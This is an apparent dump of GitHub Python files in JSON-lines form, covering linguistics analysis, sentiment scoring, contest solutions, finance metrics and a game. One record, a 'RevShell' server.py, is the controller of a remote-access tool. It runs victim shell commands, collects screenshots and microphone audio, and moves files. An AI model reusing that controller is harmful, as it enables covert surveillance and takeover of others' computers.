\"RT\",\n \"ET\",\n \"GR\",\n \"DS\",\n \"PA\",\n \"FP\",\n \"AD\",\n \"WD\",\n \"RD\",\n \"CN\",\n \"GI\",\n \"PD\",\n \"AN\",\n \"AQ\",\n \"EC\",\n]\n\nCOMPREHENSION_DATA_POINTS = COMPREHENSION_DATA_POINTS_2_OCCURRENCES\nCOMPREHENSION_SPEECH_ACTS = COMPREHENSION_SPEECH_ACTS_ENOUGH_DATA_2_OCCURRENCES\n\n\ndef get_fraction_contingent_responses(\n data, ages, observed_speech_acts, add_extra_datapoints=True, column_name_speech_act=SPEECH_ACT,\n):\n \"\"\"Calculate \"understanding\" of speech acts by measuring the amount of contingent responses\"\"\"\n fraction_contingent_responses = []\n\n for age_months in ages:\n contingency_data = get_contingency_data(data, age_months, column_name_speech_act)\n\n for speech_act in observed_speech_acts:\n if add_extra_datapoints:\n # Add start: at 6 months children don't produce any speech act\n fraction_contingent_responses.append(\n {\n \"speech_act\": speech_act,\n \"month\": MIN_AGE,\n \"fraction\": 0.0,\n }\n )\n # Add end: at 18 years children know all speech acts\n fraction_contingent_responses.append(\n {\n \"speech_act\": speech_act,\n \"month\": MAX_AGE,\n \"fraction\": 1.0,\n }\n )\n\n if speech_act in COMPREHENSION_DATA_POINTS[age_months]:\n fraction = contingency_data[\n (contingency_data[\"source\"] == speech_act)\n & (contingency_data[\"contingency\"] == 1)\n ][\"fraction\"].sum()\n\n fraction_contingent_responses.append(\n {\n \"speech_act\": speech_act,\n \"month\": age_months,\n \"fraction\": fraction,\n }\n )\n\n return pd.DataFrame(fraction_contingent_responses)\n\n\ndef get_fraction_producing_speech_acts(\n data_children,\n ages,\n observed_speech_acts,\n column_name_speech_act=SPEECH_ACT,\n add_extra_datapoints=True,\n):\n fraction_acquired_speech_act = []\n\n print(\"Processing speech acts...\")\n for speech_act in observed_speech_acts:\n\n if add_extra_datapoints:\n # Add start: at 6 months children don't produce any speech act\n fraction_acquired_speech_act.append(\n {\n \"speech_act\": speech_act,\n \"month\": MIN_AGE,\n \"fraction\": 0.0,\n }\n )\n # Add end: at 18 years children know all speech acts\n fraction_acquired_speech_act.append(\n {\n \"speech_act\": speech_act,\n \"month\": MAX_AGE,\n \"fraction\": 1.0,\n }\n )\n\n prev_fraction = 0.0\n for month in ages:\n speech_acts_children_month = data_children[\n data_children.age == month\n ]\n transcript_ids = speech_acts_children_month.transcript_file.unique()\n n_children = 0\n n_acquired = 0\n for transcript_id in transcript_ids:\n speech_acts_child = speech_acts_children_month[\n speech_acts_children_month.transcript_file == transcript_id\n ]\n if len(speech_acts_child) > MIN_NUM_UTTERANCES:\n n_children += 1\n target_speech_acts_child = speech_acts_child[\n speech_acts_child[column_name_speech_act] == speech_act\n ]\n if len(target_speech_acts_child) >= THRESHOLD_ACQUIRED:\n n_acquired += 1\n\n if n_children >= MIN_CHILDREN_REQUIRED:\n fraction = n_acquired / n_children\n else:\n # not enough data, use data of previous month\n warnings.warn(\n f\"speech act {speech_act}: month {month}: Not enough data (only {n_children} children). Using value of previous month. Increase age bin size?\"\n )\n fraction = prev_fraction\n\n fraction_acquired_speech_act.append(\n {\n \"speech_act\": speech_act,\n \"month\": month,\n \"fraction\": fraction,\n }\n )\n prev_fraction = fraction\n\n return pd.DataFrame(fraction_acquired_speech_act)\n\n\ndef calc_ages_of_acquisition(\n target,\n data,\n observed_speech_acts,\n ages,\n column_name_speech_act=SPEECH_ACT,\n add_extra_datapoints=True,\n max_age=MAX_AGE,\n threshold_speech_act_observed_production=THRESHOLD_SPEECH_ACT_OBSERVED_PRODUCTION,\n):\n\n if target == TARGET_PRODUCTION:\n data_children = data[data.speaker_code == CHILD]\n\n observed_speech_acts = [\n s\n for s in observed_speech_acts\n if s in data_children[column_name_speech_act].unique()\n and data_children[column_name_speech_act].value_counts()[s]\n > threshold_speech_act_observed_production\n ]\n # observed_speech_acts = [\"ST\",\"MK\",\"YQ\",\"SA\",\"RR\",\"FP\"]\n\n fraction_producing_speech_act = get_fraction_producing_speech_acts(\n data_children,\n ages,\n observed_speech_acts,\n column_name_speech_act,\n add_extra_datapoints,\n )\n\n fraction_data = fraction_producing_speech_act\n\n elif target == TARGET_COMPREHENSION:\n fraction_contingent_responses = get_fraction_contingent_responses(\n data, ages, observed_speech_acts, add_extra_datapoints, column_name_speech_act\n )\n\n fraction_data = fraction_contingent_responses\n\n sns.set_palette(COLORS_PLOT_CATEGORICAL)\n\n g = sns.FacetGrid(data=fraction_data, hue=\"speech_act\", height=6, aspect=1.3)\n g.set(ylim=(0, 1), xlim=(min(ages) - 4, max_age))\n g.map(sns.regplot, \"month\", \"fraction\", truncate=False, logistic=True, ci=None)\n\n h, l = g.axes[0][0].get_legend_handles_labels()\n g.fig.legend(h, l, loc=\"upper center\", ncol=10)\n plt.xlabel(\"age (months)\")\n if target == TARGET_PRODUCTION:\n plt.ylabel(\"fraction of children producing the target speech act\")\n elif target == TARGET_COMPREHENSION:\n plt.ylabel(\"fraction of contingent responses\")\n\n # Read estimated ages of acquisition from the logistic regression plot data\n age_of_acquisition = {}\n for i, speech_act in enumerate(observed_speech_acts):\n fractions = g.ax.get_lines()[i].get_ydata()\n ages = g.ax.get_lines()[i].get_xdata()\n\n # If the logistic regression has failed: use data from points\n if np.isnan(fractions).all():\n warnings.warn(\n f\"Couldn't calculate logistic regression for {speech_act}. Setting AoA to max_age.\"\n )\n age_of_acquisition[speech_act] = max_age\n\n # Take data from logistic regression curve\n else:\n if np.where(fractions >= THRESHOLD_FRACTION_ACQUIRED)[0].size > 0:\n age_of_acquisition[speech_act] = ages[\n np.min(np.where(fractions >= THRESHOLD_FRACTION_ACQUIRED))\n ]\n else:\n age_of_acquisition[speech_act] = max_age\n print(\n f\"Age of acquisition of {speech_act}: {age_of_acquisition[speech_act]:.1f}\"\n )\n \n # Reset color palette to default for upcoming plots\n sns.set_palette(\"tab10\")\n\n return age_of_acquisition\n\n\nif __name__ == \"__main__\":\n argparser = argparse.ArgumentParser()\n argparser.add_argument(\n \"--target\",\n type=str,\n default=TARGET_PRODUCTION,\n choices=[TARGET_PRODUCTION, TARGET_COMPREHENSION],\n )\n argparser.add_argument(\n \"--column-name-speech-act\",\n type=str,\n default=SPEECH_ACT,\n choices=[SPEECH_ACT, \"y_pred\"],\n )\n\n args = argparser.parse_args()\n\n print(\"Loading data...\")\n\n data = pd.read_pickle(PATH_NEW_ENGLAND_UTTERANCES)\n\n # map ages to corresponding bins\n data[\"age\"] = data[\"age\"].apply(age_bin)\n\n observed_speech_acts = [label for label in data[SPEECH_ACT].unique()]\n\n # Filter out unintelligible acts\n observed_speech_acts = [s for s in observed_speech_acts if s not in [\"YY\", \"OO\"]]\n\n if args.target == TARGET_COMPREHENSION:\n observed_speech_acts = COMPREHENSION_SPEECH_ACTS\n\n ages_of_acquisition = calc_ages_of_acquisition(\n args.target,\n data,\n observed_speech_acts,\n AGES,\n data_source=args.column_name_speech_act,\n add_extra_datapoints=ADD_EXTRA_DATAPOINTS,\n )\n\n path = f\"results/age_of_acquisition_{args.target}_{args.column_name_speech_act}.csv\"\n ages_of_acquisition = pd.DataFrame.from_records([ages_of_acquisition]).T\n ages_of_acquisition.index.rename('speech_act', inplace=True)\n ages_of_acquisition.rename(columns={0: \"age_of_acquisition\"}, inplace=True)\n ages_of_acquisition.to_csv(path)\n\n plt.axhline(y=0.5, linestyle=\"--\")\n plt.xlim(10, 60)\n plt.tight_layout()\n plt.subplots_adjust(top=0.9, bottom=0.09)\n plt.show()\n","repo_name":"cocodev-team/childes-speech-acts","sub_path":"age_of_acquisition.py","file_name":"age_of_acquisition.py","file_ext":"py","file_size_in_byte":12392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"2203619052","text":"##\n\n# Review Analysis 2.0 - Google\n# 'sentiment_analysis'\n# Gide Inc. 2019\n\n# Hutto, C.J. & Gilbert, E.E. (2014). VADER: A Parsimonious Rule-based Model for Sentiment Analysis of\n# Social Media Text.\n# Eighth International Conference on Weblogs and Social Media (ICWSM-14). Ann Arbor, MI, June 2014.\n\n##\n\nimport ssl\nimport textblob\nfrom textblob import TextBlob\n\n# textblob.download_corpora\n\nfrom pyspark.sql.functions import split, udf\nfrom pyspark.sql.types import StringType, IntegerType\n\nfrom loggingInfo import init_logging\nlogger = init_logging()\n\n\ndef sentiment_detection(sentence):\n\n \"\"\"\n :purpose detects sentiment (negative or positive mood) for each sentence\n :param sentence:\n :return:\n \"\"\"\n\n try:\n logger.info(\"Analyzing Sentence Sentiment\")\n\n if sentence != None:\n sentiment = TextBlob(sentence)\n ss = float(sentiment.sentiment.polarity)\n return ss\n else:\n return 0.0\n\n except AttributeError as error:\n logger.error(\"Issue Analyzing Sentence Sentiment\")\n\n\ndef sentiment_analysis(data, col=\"Review Text\"):\n\n \"\"\"\n :purpose: construct sentiment analysis information in database\n :param data:\n :param col:\n :return: new_data\n \"\"\"\n\n try:\n logger.info('Sentiment Analysis Updating')\n udfSentAnal= udf(sentiment_detection, StringType())\n new_data = data.withColumn(\"Sentiment Score\", udfSentAnal(col))\n logger.info(\"Sentiment Analysis Finished\")\n\n except ValueError as error:\n logger.error('Sentiment Analysis Error Detected:' + str(error))\n new_data = data.withColumn(\"Sentiment Score\", \"ERROR\")\n\n return new_data\n\n\ndef sentiment_kw_analysis(data, col=\"KWSentence\"):\n\n \"\"\"\n :purpose: construct sentiment with the keywords and sentences containing keywords in database\n :param data:\n :param col:\n :return:\n \"\"\"\n\n try:\n logger.info('KW Sentiment Analysis Updating')\n udfSentAnal= udf(sentiment_detection, StringType())\n new_data = data.withColumn(\"KW Sentiment Score\", udfSentAnal(col))\n logger.info(\"KW Sentiment Analysis Finished\")\n\n except ValueError as error:\n logger.error('KW Sentiment Analysis Error Detected:' + str(error))\n new_data = data.withColumn(\"KW Sentiment Score\", \"ERROR\")\n\n return new_data\n","repo_name":"Guide-Analytics/google_review_analysis","sub_path":"sentiment_analysis.py","file_name":"sentiment_analysis.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4620293621","text":"table = [[3, 1, 2], [1, 2, 3], [2, 3, 1]]\n\nwith open(\"input.txt\") as file:\n score = 0\n for line in file.read().splitlines():\n opponent = ord(line[0]) - 65\n me = ord(line[2]) - 23 - 65\n score += me * 3\n score += table[opponent][me]\n print(score)\n ","repo_name":"Maximilian-Walz/Advent-of-Code-2022","sub_path":"day02/day02_2.py","file_name":"day02_2.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37615357333","text":"num1 = 1000\nnum2 = 3000\nnumberList = []\nfor i in range(num1, num2 + 1):\n numberList.append(i)\n for j in str(i):\n if int(j)%2 != 0:\n numberList.remove(i)\n break\nprint(numberList)\n","repo_name":"Harshitha-Somashekar/case_study","sub_path":"FindEvenDigitNumbers.py","file_name":"FindEvenDigitNumbers.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74921900881","text":"import numpy as np\nfrom art.estimators.classification import KerasClassifier\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, MaxPooling2D, Flatten\n\n\nmodel = Sequential()\n\nmodel.add(Conv2D(32,(3,3), input_shape=(62,47,1), activation='relu'))\nmodel.add(MaxPooling2D(2,2))\nmodel.add(Conv2D(32,(3,3), activation='relu'))\nmodel.add(MaxPooling2D(2,2))\nmodel.add(Flatten())\nmodel.add(Dense(units=512, activation='relu'))\nmodel.add(Dense(units=128, activation='relu'))\nmodel.add(Dense(units=5, activation='softmax'))\n\nmodel.summary()\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n# y in [0, 1, 2, 3, 4]\n\n# Train the classifier\nclassifier = KerasClassifier(model=model, clip_values=(0, 1), use_logits=False)\n\nclassifier.fit(x_train, y_train, nb_epochs=10, batch_size=128)\n\n# Evaluate the classifier on the test set\npredictions = classifier.predict(x_test)\naccuracy = np.sum(np.argmax(predictions, axis=1) == np.argmax(y_test, axis=1)) / len(y_test)\nprint(\"Accuracy on benign test examples: {}%\".format(accuracy * 100))\n\n# Generate adversarial test examples\nattack = FastGradientMethod(estimator=classifier, eps=0.2)\nx_test_adv = attack.generate(x=x_test)\n\n# Evaluate the classifier on the adversarial test examples\npredictions = classifier.predict(x_test_adv)\naccuracy = np.sum(np.argmax(predictions, axis=1) == np.argmax(y_test, axis=1)) / len(y_test)\nprint(\"Accuracy on adversarial test examples: {}%\".format(accuracy * 100))\n","repo_name":"roman02s/Countering-face-hiding-algorithms","sub_path":"src/adversarial attack/keras_vgg.py","file_name":"keras_vgg.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18324832181","text":"import sys\nimport math\nimport bisect\nfrom heapq import heapify, heappop, heappush\nfrom collections import deque, defaultdict, Counter\nfrom functools import lru_cache\nfrom itertools import accumulate, combinations, permutations\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\nMOD99 = 998244353\n\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\nSMI = lambda: input().split()\nSLI = lambda: list(SMI())\n\n\ndef main():\n N, S = NMI()\n AB = [NLI() for _ in range(N)]\n dp = [[0]*(S+1) for _ in range(N+1)]\n dp[0][0] = 1\n for i in range(N):\n a, b = AB[i]\n for s in range(S):\n if s+a <= S:\n dp[i+1][s+a] |= dp[i][s]\n if s+b <= S:\n dp[i+1][s+b] |= dp[i][s]\n\n # print(*dp, sep=\"\\n\")\n if dp[-1][S]:\n print(\"Yes\")\n ans = []\n now = N\n s = S\n while now > 0:\n now -= 1\n a, b = AB[now]\n if dp[now][s-a]:\n s -= a\n ans.append(\"H\")\n else:\n s -= b\n ans.append(\"T\")\n print(\"\".join(ans[::-1]))\n\n else:\n print(\"No\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"ABC/ABC271/ABC271D.py","file_name":"ABC271D.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40737793657","text":"#
---------------------------------------------------------------------------#\n#@descripiton:RobinJr's personnal TLI interface ofr GreatWork\n#@author:RobinJr.\n#@firstedit:2018/4/18\n#@lastedit :2018/4/18\n\n\n\n\n#
-#\nimport curses #Terminal handling for character-cell displays\nimport sys,os\n\n# establish a class for handling the tli interface\nclass MYCursesClass():\n def __init__(self):\n self.startcurses()\n\n def startcurses(self):\n # get the window object called stdscr\n self.stdscr = curses.initscr()\n curses.noecho() #turn off automatic echoing of keys to the screen\n curses.cbreak() #react to keys instantly\n self.stdscr.keypad(True)\n\n def terminatecurses(self):\n curses.nocbreak()\n self.stdscr.keypad(False)\n curses.echo()\n curses.endwin()\n\n\n def draw_menu(self):\n inputkey = 0\n self.cursor_x = 0\n self.cursor_y = 0\n\n self.stdscr.clear()\n self.stdscr.refresh()\n\n curses.start_color()\n curses.init_pair(1, curses.COLOR_CYAN, curses.COLOR_BLACK)\n curses.init_pair(2, curses.COLOR_RED, curses.COLOR_BLACK)\n curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE)\n\n while ( inputkey != ord('q')):\n self.stdscr.clear()\n inputkey = self.stdscr.getch()\n\n self.terminatecurses()\n\n\n#---------------------------------------------------------------------------#\nif __name__ == \"__main__\":\n t = os.system('clear')\n mycurseclass = MYCursesClass()\n mycurseclass.draw_menu()\n","repo_name":"RobinJr555/FakeTigerUbuntu","sub_path":"mycurses.py","file_name":"mycurses.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9807592782","text":"import numpy as np\nimport pandas as pd\nfrom scipy import stats\n\n\ndef drop_outliers(series_ret):\n \"\"\"\n 수익률 30.5%를 넘는 날짜를 0으로 처리\n :param series_ret: \n :return: \n \"\"\"\n out_value = np.abs(series_ret).max() # 수익률의 절댓값 중 최댓값\n mask = np.argwhere(np.abs(series_ret) == out_value) # 최댓값의 위치(인덱스 넘버)\n while float(out_value) > 0.305: # 30.5%가 넘는 수익률이 발견되지 않을 때 까지\n series_ret[mask] = 0 # 이상치 값을 0으로 바꿔주고\n\n out_value = np.abs(series_ret).max() # out_value 값을 갱신\n mask = np.argwhere(np.abs(series_ret) == out_value) # 갱신된 값의 위치\n return series_ret\n\ndef cal_prob_of_loss(L, T, mu_safe, mu_risky, vol_risky, weight_risky):\n \"\"\"probability of loss for a portfolio comprising both a risky asset and a safe asset\n :L: annualized percentage loss in discrete units, Float64\n :T: the number of years in the investment horizon, int/Float64\n :mu_safe: safe asset return, Float64\n :mu_risky: risky asset return, Float64\n :vol_risky: annualized standard deviation of risky asset return\n :weight_risky: risky asset weight, Float64\n :return: probability of loss, Float64\n \"\"\"\n numerator = np.log(1+L)*T - (mu_risky*T*weight_risky + mu_safe*T*(1-weight_risky))\n denominator = vol_risky*weight_risky*np.sqrt(T)\n return stats.norm.cdf(numerator/denominator, 0, 1)\n\ndef cal_weight_risky(L, T, Z, mu_safe, mu_risky, vol_risky):\n \"\"\"\n :L: Annualized percentage loss in discrete units, Float64\n :T: The number of years in the investment horizon, int/Float64\n :mu_risky: risky asset return, Float64\n :vol_risky: Annualized standard deviation of risky asset return\n :Z: Standardized normal variable corresponding to the probability we are targeting to determine the risky asset weight\n :mu_safe: Safe asset return, Float64\n :return: Risky asset weight\n \"\"\"\n numerator = np.log(1+L)*T - mu_safe*T\n denominator = Z*vol_risky*np.sqrt(T) + mu_risky*T - mu_safe*T\n return numerator/denominator\n\ndef cal_turbulence(ret_data):\n \"\"\"\n 일별 수익률로부터 turbulence 지수 계산.\n :param ret_data: daily return data, pd.DataFrame\n :return:\n \"\"\"\n\n # 월별 수익률 계산\n ret_monthly = ret_data.groupby([ret_data.index.year.rename(\"year\"), ret_data.index.month.rename(\"month\")])\n ret_monthly = ret_monthly.apply(lambda x: ((1+x).cumprod()-1)).resample(\"BM\").last()\n\n cov_matrix = ret_monthly.cov()\n inverse_cov = np.linalg.inv(cov_matrix)\n mean = ret_monthly.mean()\n N = len(ret_monthly.columns)\n f = lambda x: (1/N) * (x-mean).T@inverse_cov@(x-mean)\n result = ret_monthly.apply(f, axis=1)\n return result\n\n\ndef cal_turbulence_rolling(ret_data, window=500):\n \"\"\"\n\n :param ret_data:\n :param window:\n :return:\n \"\"\"\n nassets = len(ret_data.columns)\n rolling_ret = ret_data.rolling(window=window)\n rolling_mean = rolling_ret.mean()\n rolling_cov = rolling_ret.cov().dropna().unstack()\n\n date_index = rolling_cov.index\n\n tb_index = pd.DataFrame()\n idx_num = 1\n for i in date_index[:-1]:\n cov = rolling_cov.loc[i].unstack()\n mean = rolling_mean.loc[i]\n invcov = np.linalg.inv(cov)\n\n ret = ret_data.loc[date_index[idx_num]]\n tb = (1/nassets) * (ret-mean)@invcov@(ret-mean)\n tb_index.loc[i, \"turbulence\"] = tb\n idx_num += 1\n return tb_index\n\ndef cal_absorption_ratio_rolling(ret_data, frac=0.2, decay=0.9972, window=500):\n \"\"\"\n 흡수비율을 계산한다. EWMA 방식을 적용한다.\n 수익률 데이터를 decay factor로 지수이동평균 평활화(Exponential Weighted Moving Average)를 거친뒤 공분산 행렬를 계산한다.\n 이후 rolling window에 따라 absorption ratio를 계산한다.\n t 일의 AR 값은 t-500 부터 t-1 시점의 데이터를 이용하여 계산한다. t일의 종가는 확인할 수 없기 때문이다.\n :param ret_data: 수익률 데이터, pandas.DataFrame\n :param frac: 고려할 고윳값의 비율, 0 100 or score < 0:\n print(\"input again\")\nelse:\n if score >= 90:\n grade = \"A\"\n elif score >= 80:\n grade = \"B\"\n elif score >= 70:\n grade = \"C\"\n elif score >= 60:\n grade = \"D\"\n else:\n grade = \"E\"\n print(\"score is {0}, level is {1}\".format(score, grade))\n","repo_name":"Hu-Ivy/Baishi-Homework","sub_path":"Day_3/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27666298346","text":"# -*- coding: utf-8 -*-\n\"\"\"\n__author__ = \"Ashiquzzaman Khan\"\n__desc__ = \"Main Exe file to Run\"\n\"\"\"\n\nimport sys\nimport os\nimport platform\nimport re\n\nclass LocalStorage(object):\n\n def __init__(self, debug=True):\n self.debug = debug\n if self.debug:\n self.current_dir = os.getcwd()\n self.one_up = os.path.normpath(os.getcwd() + os.sep + os.pardir)\n self.root = \"C:\\\\Users\\\\Ana Ash\\\\Desktop\\\\Project Software\\\\KivyPy\\\\Vault\"\n self.storage = \"C:\\\\Users\\\\Ana Ash\\\\Desktop\\\\Project Software\\\\KivyPy\\\\Vault\\\\localDump\\\\\"\n else:\n self.user_home = os.path.expanduser('~')\n self.desktop = self.user_home + \"\\\\Desktop\\\\\"\n self.cacheDir = os.getenv(\"LOCALAPPDATA\") + \"\\\\PandorAstrum\\\\\"\n self.image_dir = self.cacheDir + \"\\\\Images\\\\\"\n self.database_dir = self.cacheDir\n\n def make_dir(self, dir_path):\n if not os.path.exists(dir_path):\n os.makedirs(dir_path)\n\n def check_directory(self, dir_path):\n return os.path.isdir(dir_path)\n\n def check_file(self, path, filename):\n os.path.isfile(path+filename)\n\n def get_current_dir(self, file=None):\n if not hasattr(self.get_current_dir, \"dir\"):\n if hasattr(sys, \"frozen\"):\n dir = os.path.dirname(sys.executable)\n elif \"__file__\" in globals():\n dir = os.path.dirname(os.path.realpath(__file__))\n else:\n dir = os.getcwd()\n self.get_current_dir().dir = dir\n # If file is None return current directory without trailing slash.\n if file is None:\n file = \"\"\n # Only when relative path.\n if not file.startswith(\"/\") and not file.startswith(\"\\\\\") and (\n not re.search(r\"^[\\w-]+:\", file)):\n path = self.get_current_dir().dir + os.sep + file\n if platform.system() == \"Windows\":\n path = re.sub(r\"[/\\\\]+\", re.escape(os.sep), path)\n path = re.sub(r\"[/\\\\]+$\", \"\", path)\n return path\n return str(file)\n\n","repo_name":"ash1khan/Vault_Software_Py","sub_path":"bin/libPackage/localStorage.py","file_name":"localStorage.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8991608182","text":"# Author: RT\n# Date: 2023-01-07T14:28:12.972Z\n# URL: https://leetcode.com/problems/gas-station/\n\n\nclass Solution:\n def canCompleteCircuit(self, gas: list[int], cost: list[int]) -> int:\n n = len(gas)\n\n total_gas = tank = total_cost = 0\n starting = 0\n\n for i in range(n):\n if tank < 0:\n starting = i\n tank = 0\n total_cost += cost[i]\n total_gas += gas[i]\n tank += gas[i] - cost[i]\n\n return -1 if total_gas < total_cost else starting\n","repo_name":"Roytangrb/dsa","sub_path":"leetcode/python/134-gas-station.py","file_name":"134-gas-station.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"35437242972","text":"import os\nimport socket\nimport sys\nimport time\nimport string\nimport random\nimport colorama\n\ncolorama.init()\ndef id_gen(size=7, chars=string.ascii_uppercase + string.digits):\n return ''.join(random.choice(chars) for c in range(size))\n\nhost = \"\"\nport = 1234 #CHANGE THIS\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((host, port))\ns.listen(1)\nprint(\"Server is listening...\")\nconn, address = s.accept()\nprint(\"\\nClient successfully connected with\",address)\n\nwhile True:\n data = conn.recv(2048)\n datad = data.decode(\"utf-8\")\n print(datad, end = \"\")\n\n if datad.strip() == \"[*] Sending...\":\n file = \"image-\"+id_gen()+\".png\"\n f = open(file, \"wb\")\n i = conn.recv(1024)\n while not (\"complete\") in str(i):\n f.write(i)\n i = conn.recv(1024)\n f.close()\n print(\"\\n[+] Image saved\\n[*] Press ENTER to continue\", end = \"\")\n\n if datad.strip() == \"[+] Audio saved\":\n file = \"audio-\"+id_gen()+\".wav\"\n f = open(file, \"wb\")\n i = conn.recv(1024)\n while not (\"complete\") in str(i):\n f.write(i)\n i = conn.recv(1024)\n f.close()\n print(\"\\n[*] Press ENTER to continue\", end = \"\")\n\n clientsend = input(\"\")\n conn.send(clientsend.encode())\n if clientsend.strip() == \"exit\":\n conn.close()\n sys.exit()\n if clientsend.strip() == str(\"\"):\n conn.send(\" \".encode())\n if clientsend.strip() == \"rec_mic\":\n sound = input(\"[*] Enter the duration in seconds: \")\n conn.send(sound.encode())\n if clientsend.strip() == \"download\":\n filename = input('[*] Enter the name of file with extension: ')\n conn.send(filename.encode()) \n d = conn.recv(1024)\n dd = d.decode('utf-8')\n if dd[:6] == 'EXISTS':\n filesize = int(d[6:])\n conn.send(str.encode('OK'))\n print(\"[*] Downloading...\")\n f = open('new-' + filename, 'wb')\n d = conn.recv(1024)\n totalRecv = len(d)\n f.write(d)\n while totalRecv < filesize:\n d = conn.recv(1024)\n totalRecv += len(d)\n f.write(d)\n f.close()\n print(\"[+] Download complete\")\n else:\n print(\"[x] File not found\\n[*] Press ENTER to continue\", end = \"\")\n input(\"\")\n\n if clientsend.strip() == \"upload\":\n filename = input('[*] Enter the name of file with extension: ')\n conn.send(filename.encode())\n if os.path.isfile(filename):\n conn.send(str.encode('EXISTS' + str(os.path.getsize(filename))))\n userResp = conn.recv(1024)\n userRespd = userResp.decode('utf-8')\n print(\"[*] Uploading...\")\n if userRespd[:2] == 'OK':\n f = open(filename, 'rb')\n i = f.read(1024)\n time.sleep(1)\n while (i):\n conn.send(i)\n i = f.read(1024)\n f.close()\n print(\"[+] Download complete\")\n else:\n print(\"[x] File not found\")\n conn.send(\"continue\".encode())\ncolorama.deinit()\n \n","repo_name":"ittech25/RevShell","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72200409362","text":"def game():\n name = input(\"Enter your name: \")\n import random\n number = random.randint(1, 99)\n guess = int(input(\"Enter your guess between 1 to 99: \"))\n\n\n while number != guess:\n if number > guess:\n print(\"Number is bigger\")\n else:\n print(\"Number is smaller\")\n guess = int(input(\"Enter your guess between 1 to 99: \"))\n print(f\"Yayyyyy {name}, you have won the game\")\n\n\n request = input(\"Would you like to play again: y,n: \")\n if request == \"n\":\n print(\"Thanks for playing!\")\n else:\n game()\ngame()\n","repo_name":"hamedhossaini/sample","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12905969662","text":"from typing import List, Any\n\nimport pygame\nfrom pygame import *\nimport math\nimport random\n\nglobal black\nblack = (0, 0, 0)\nglobal white\nwhite = (255, 255, 255)\n\n\nclass Display:\n def __init__(self, len, val, xp, yp, scr):\n self.nums = []\n self.l = len\n self.v = val\n self.x = xp\n self.y = yp\n self.val = 0\n self.s = scr\n for i in range(len):\n self.nums.append(SevenSeg(0, self.x + 30 * i, self.y, self.s))\n\n def updateVal(self, val):\n self.v = val;\n temp = val;\n for i in range(len(self.nums) - 1, -1, -1):\n self.nums[i].setVal(temp % 10)\n temp = (int)(temp / 10)\n\n def draw(self):\n for i in self.nums:\n i.draw()\n\n\nclass Fleet:\n j: list[list[Any]]\n\n def __init__(self, xp, yp, scr):\n self.j = [[], [], [], [], [], [], [], [], []]\n self.x = xp\n self.y = yp\n self.s = scr\n self.row = 8\n self.column = 4\n self.dir = 20\n self.shot = Bullet(800, 800, self.s, False)\n self.shooting = False\n for i in range(9):\n for j in range(5):\n self.j[i].append(Alien((self.x + i * 50), (self.y + j * 40), i, j))\n\n def draw(self):\n for i in self.j:\n for k in i:\n if k.isAlive():\n k.draw(self.s)\n\n def getAlien(self, x, y):\n return self.j[x][y]\n\n def shoot(self, ship):\n if self.shooting:\n return\n target = ship.getPos()\n closest = 1000\n closesti = 1000\n for i in range(9):\n if abs(self.j[i][4].getX() - target) < closest:\n closest = abs(self.j[i][4].getX() - target)\n closesti = i\n closesti += random.randint(-1, 1)\n if closesti > 8:\n closesti = 8\n elif closesti < 0:\n closesti = 0\n noShips = True\n lowest = -1\n for i in range(4, -1, -1):\n if self.j[closesti][i].isAlive():\n noShips = False\n lowest = i\n break\n if noShips:\n return\n else:\n self.shot = Bullet(self.j[closesti][lowest].getX() + 12, self.j[closesti][lowest].getY(), self.s, False);\n self.shooting = True\n\n def updateShot(self):\n if self.shooting:\n self.shot.updateShot()\n if self.shot.getHeight() > 480:\n self.shooting = False\n self.shot.setPos(800, 800)\n\n def unAliveShip(self, z):\n x = (int)(z / 5)\n y = z % 5\n self.j[x][y].kill()\n\n def shipsLeft(self):\n x = 0\n for i in self.j:\n for k in i:\n if k.isAlive():\n x += 1\n return x\n\n def isAlive(self):\n alive = False\n for i in self.j:\n for k in i:\n if k.isAlive():\n alive = True\n break\n if alive:\n break\n return alive\n\n def move(self):\n low = False\n for i in self.j:\n for k in i:\n if k.descendCheck() and k.isAlive():\n low = True\n k.stopLower()\n if low:\n self.flip()\n for i in self.j:\n for k in i:\n k.lower(50)\n else:\n for i in self.j:\n for k in i:\n k.move(self.dir)\n\n def flip(self):\n self.dir *= -1\n\n def lower(self):\n for i in self.j:\n for k in i:\n 